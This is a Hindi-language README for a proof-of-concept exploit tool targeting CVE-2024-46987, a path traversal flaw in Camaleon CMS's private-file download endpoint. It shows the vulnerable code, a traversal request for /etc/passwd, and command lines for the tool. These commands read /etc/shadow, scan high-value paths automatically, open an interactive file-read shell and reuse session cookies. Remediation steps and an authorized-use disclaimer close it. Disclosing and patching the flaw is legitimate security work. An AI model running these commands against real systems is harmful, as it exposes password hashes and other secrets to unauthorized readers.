CVE-2024-46987 — Camaleon CMS मनमाना पथ ट्रैवर्सल

केवल अधिकृत सुरक्षा मूल्यांकन, पैठ परीक्षण कार्यों और शैक्षिक अनुसंधान के लिए।

अवलोकन

भेद्यता

MediaController#download_private_file params[:file] को बिना सैनिटाइज़ किए fetch_file में पास करता है:

# Vulnerable sink
fetch_file("private/#{params[:file]}")

पथ सामान्यीकरण लागू नहीं किया जाता इससे पहले कि मान send_file के साथ उपयोग किया जाए, जिससे एक प्रमाणित हमलावर ../ अनुक्रमों का उपयोग करके private/ निर्देशिका से बाहर निकल सकता है और उन मनमानी फ़ाइलों को पढ़ सकता है जिन तक Rails प्रक्रिया की पहुँच अनुमति है।

भेद्य एंडपॉइंट:

GET /admin/media/download_private_file?file=../../../../../../etc/passwd

आवश्यकताएँ

• Python 3.8+
• requests लाइब्रेरी

pip3 install requests

उपयोग

usage: CVE-2024-46987.py [-h] -u URL (--cookie COOKIE | -U USERNAME)
                         [-P PASSWORD] [-f FILE] [-d DEPTH]
                         [--interesting] [--interactive]
                         [--no-verify] [--debug]

क्रेडेंशियल-आधारित प्रमाणीकरण

# Read /etc/passwd (default)
python3 CVE-2024-46987.py -u http://target.com -U admin -P password

# Read a specific file
python3 CVE-2024-46987.py -u http://target.com -U admin -P password -f /etc/shadow

# Scan a list of high-value paths automatically
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interesting

# Interactive file-read shell
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interactive

मौजूदा सत्र का पुन: उपयोग करें (Burp Suite / ब्राउज़र DevTools से)

# Single file
python3 CVE-2024-46987.py -u http://target.com \
  --cookie "_app_session=XXXX" -f /etc/passwd

# Interactive shell
python3 CVE-2024-46987.py -u http://target.com \
  --cookie "_app_session=XXXX; auth_token=YYYY" --interactive

विकल्प

/proc छद्म-फ़ाइलों पर नोट्स

/proc/self/ के अंतर्गत फ़ाइलें (जैसे environ, cmdline) HTTP 200 लौटाती हैं लेकिन खाली बॉडी। यह अपेक्षित है — कर्नेल उनके आकार को 0 रिपोर्ट करता है, इसलिए Rails का send_file कुछ स्ट्रीम नहीं करता। इसके बजाय नियमित फ्लैट फ़ाइलों का उपयोग करें।

उपचार

Camaleon CMS को संस्करण 2.8.2 या बाद के संस्करण में अपग्रेड करें। पैच उचित पथ सामान्यीकरण जोड़ता है और सुनिश्चित करता है कि send_file को कॉल करने से पहले हल किया गया पथ इच्छित निर्देशिका के भीतर रहे।

वैकल्पिक रूप से:

• उपयोग से पहले सभी उपयोगकर्ता-आपूर्ति फ़ाइल पथों को सामान्य करें।
• .. अनुक्रम वाले किसी भी इनपुट को अस्वीकार करें।
• Rails प्रक्रिया चलाने वाले OS उपयोगकर्ता पर न्यूनतम विशेषाधिकार का सिद्धांत लागू करें।

संदर्भ

• GHSA-cp65-5m9r-vc2c — GitHub सलाह
• GHSL-2024-183 — GitHub सुरक्षा प्रयोगशाला
• NVD — CVE-2024-46987

अस्वीकरण

यह प्रूफ-ऑफ-कॉन्सेप्ट शैक्षिक उद्देश्यों और सुरक्षा पेशेवरों को अधिकृत परीक्षण वातावरण में भेद्यता को समझने और पुन: उत्पन्न करने में सहायता करने के लिए प्रकाशित किया गया है। लेखक किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है। जिन सिस्टमों के आप मालिक नहीं हैं, उनका परीक्षण करने से पहले हमेशा स्पष्ट लिखित अनुमति प्राप्त करें।